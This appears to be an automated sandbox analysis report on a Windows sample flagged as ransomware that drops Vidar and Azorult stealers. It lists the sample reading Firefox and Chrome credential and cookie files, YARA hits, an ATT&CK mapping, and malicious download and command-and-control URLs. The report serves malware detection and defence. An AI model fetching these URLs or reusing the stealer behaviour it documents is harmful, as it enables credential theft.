Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\z6bny8rn.default\times.json	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Google Profile.ico	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\pkcs11.txt	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\search.json.mozlz4	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db-journal	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\LOG.old	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\containers.json	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\AlternateServices.txt	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\extension-preferences.json	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\heavy_ad_intervention_opt_out.db	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\parent.lock	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionstore.jsonlz4	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\SiteSecurityServiceState.txt	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\trusted_vault.pb	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\sessionCheckpoints.json	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\xulstore.json	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\times.json	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\lzShU2RYJa.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior

Source: Yara match

File source: Process Memory Space: build2.exe PID: 7664, type: MEMORYSTR

Remote Access Functionality

Yara detected Vidar stealer

Source: Yara match	File source: 8.2.build2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.build2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.1aa15a0.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.build2.exe.1aa15a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000008.00000002.1936229908.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.1750385027.0000000001AA0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7648, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: build2.exe PID: 7664, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	1 Deobfuscate/Decode Files or Information	1 OS Credential Dumping	2 System Time Discovery	1 Taint Shared Content	11 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	2 Data Encrypted for Impact
Credentials	Domains	Default Accounts	2 Native API	1 Scheduled Task/Job	1 DLL Side-Loading	2 Obfuscated Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	3 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	211 Process Injection	2 Software Packing	Security Account Manager	3 File and Directory Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	1 Services File Permissions Weakness	1 Scheduled Task/Job	1 DLL Side-Loading	NTDS	44 System Information Discovery	Distributed Component Object Model	Input Capture	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 Masquerading	LSA Secrets	1 Query Registry	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Services File Permissions Weakness	21 Virtualization/Sandbox Evasion	Cached Domain Credentials	271 Security Software Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	211 Process Injection	DCSync	21 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Services File Permissions Weakness	Proc Filesystem	2 Process Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 Application Window Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Owner/User Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement
Network Security Appliances	Domains	Compromise Software Dependencies and Development Tools	AppleScript	Launchd	Launchd	Stripped Payloads	Input Capture	1 System Network Configuration Discovery	Software Deployment Tools	Remote Data Staging	Mail Protocols	Exfiltration Over Unencrypted Non-C2 Protocol	Firmware Corruption

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
lzShU2RYJa.exe	42%	ReversingLabs	Win32.Ransomware.Generic
lzShU2RYJa.exe	100%	Avira	HEUR/AGEN.1313018
lzShU2RYJa.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	100%	Avira	HEUR/AGEN.1313018
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	100%	Avira	HEUR/AGEN.1313019
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	100%	Avira	TR/AD.MalwareCrypter.llbpm
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	100%	Avira	TR/AD.MalwareCrypter.llbpm
C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe	42%	ReversingLabs	Win32.Ransomware.Generic
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build2[1].exe	74%	ReversingLabs	Win32.Spyware.Vidar
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\build3[1].exe	87%	ReversingLabs	Win32.Trojan.Azorult
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\sqln[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Roaming\Microsoft\Network\mstsca.exe	87%	ReversingLabs	Win32.Trojan.Azorult

Source	Detection	Scanner	Label
http://cajgtus.com/files/1/build3.exe$runinstall020921_delay721_sec.exe0D$	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exe$run	0%	Avira URL Cloud	safe
https://www.gstatic.cn/recaptcha/	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exee	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exerun5980	100%	Avira URL Cloud	malware
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637og)	0%	Avira URL Cloud	safe
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=truei	0%	Avira URL Cloud	safe
http://cajgtus.com/files/1/build3.exerunC	0%	Avira URL Cloud	safe
https://95.217.9.149/%	0%	Avira URL Cloud	safe
https://95.217.9.149/sqln.dll2	0%	Avira URL Cloud	safe
http://cajgtus.com/test2/get.phpg	0%	Avira URL Cloud	safe
https://s.ytimg.com;	0%	Avira URL Cloud	safe
https://steam.tv/	0%	Avira URL Cloud	safe
https://95.217.9.149a	0%	Avira URL Cloud	safe
https://95.217.9.149exe	0%	Avira URL Cloud	safe
https://95.217.9.149CFBKE	0%	Avira URL Cloud	safe
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	0%	Avira URL Cloud	safe
https://lv.queniujq.cn	0%	Avira URL Cloud	safe
http://sdfjhuz.com/dl/build2.exe$run	100%	Avira URL Cloud	malware
https://95.217.9.149/l.	0%	Avira URL Cloud	safe
http://cajgtus.com/test2/get.php	0%	Avira URL Cloud	safe
https://95.217.9.149/ramData	0%	Avira URL Cloud	safe
https://95.217.9.149/	0%	Avira URL Cloud	safe
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	0%	Avira URL Cloud	safe
https://95.217.9.149	0%	Avira URL Cloud	safe
https://95.217.9.149/nd-point:	0%	Avira URL Cloud	safe
https://recaptcha.net/recaptcha/;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
sdfjhuz.com	189.143.202.242	true	true	unknown
cajgtus.com	211.171.233.129	true	true	unknown
steamcommunity.com	96.17.209.196	true	false	high
api.2ip.ua	172.67.139.220	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true	true	Avira URL Cloud: safe	unknown
https://95.217.9.149/	false	Avira URL Cloud: safe	unknown
http://cajgtus.com/test2/get.php	true	Avira URL Cloud: safe	unknown
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://cajgtus.com/files/1/build3.exee	lzShU2RYJa.exe, 00000004.00000003.2143584814.0000000003101000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000004.00000002.2201975015.0000000003102000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://player.vimeo.com	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$run	lzShU2RYJa.exe, 00000004.00000002.2199555407.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://assets.activity.windows.com/v1/assets	lzShU2RYJa.exe, 00000004.00000003.1760161085.0000000009A80000.00000004.00001000.00020000.00000000.sdmp	false		high
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637og)	lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/login/home/?goto=profiles%2F76561199673019888	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://95.217.9.149/%	build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://steamcommunity.com/?subsection=broadcasts	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/h_	lzShU2RYJa.exe, 00000006.00000003.1689411100.0000000000643000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=EyWBqDQS-6jg&a	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://cajgtus.com/files/1/build3.exe$runinstall020921_delay721_sec.exe0D$	lzShU2RYJa.exe, 00000004.00000002.2199555407.0000000000808000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cajgtus.com/files/1/build3.exerunC	lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000085D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json-	lzShU2RYJa.exe, 00000001.00000002.1661223288.00000000007D8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://sdfjhuz.com/dl/build2.exerun5980	lzShU2RYJa.exe, 00000004.00000002.2199555407.000000000085D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://store.steampowered.com/subscriber_agreement/	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.gstatic.cn/recaptcha/	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://api.2ip.ua/geo.json(	lzShU2RYJa.exe, 00000006.00000003.1689411100.0000000000643000.00000004.00000020.00020000.00000000.sdmp, lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp	false		high
https://95.217.9.149/sqln.dll2	build2.exe, 00000008.00000003.1918398373.0000000000976000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1870762224.0000000000975000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=L35TrLJDfqtD&l=engl	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://api.2ip.ua/geo.json&	lzShU2RYJa.exe, 00000004.00000002.2199555407.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.valvesoftware.com/legal.htm	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.youtube.com	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/logo_valve_footer.png	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://www.google.com	build2.exe, 00000008.00000003.1763141162.000000000090B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/images/responsive/header_menu_hamburger.png	build2.exe, 00000008.00000003.1763037636.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17rer.exe	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/global.js?v=B7Vsdo1okyaC&l=english	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/shared/css/shared_responsive.css?v=sHIIcMzCffX6&	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
http://cajgtus.com/test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=truei	lzShU2RYJa.exe, 00000004.00000002.2199555407.00000000007C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://cajgtus.com/test2/get.phpg	lzShU2RYJa.exe, 00000006.00000002.4098404527.0000000000639000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.valvesoftware.com/en/contact?contact-person=Translation%20Team%20Feedback	build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
https://community.akamai.steamstatic.com/public/javascript/profile.js?v=Iy1ies1ROjUT&l=english	build2.exe, 00000008.00000003.1829067839.0000000000909000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1780897166.000000000090B000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811714537.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1847516293.000000000090A000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1828937781.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936973508.0000000000902000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1846837622.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000003.1811599727.0000000000906000.00000004.00000020.00020000.00000000.sdmp, build2.exe, 00000008.00000002.1936229908.0000000000434000.00000040.00000400.00020000.00000000.sdmp	false		high
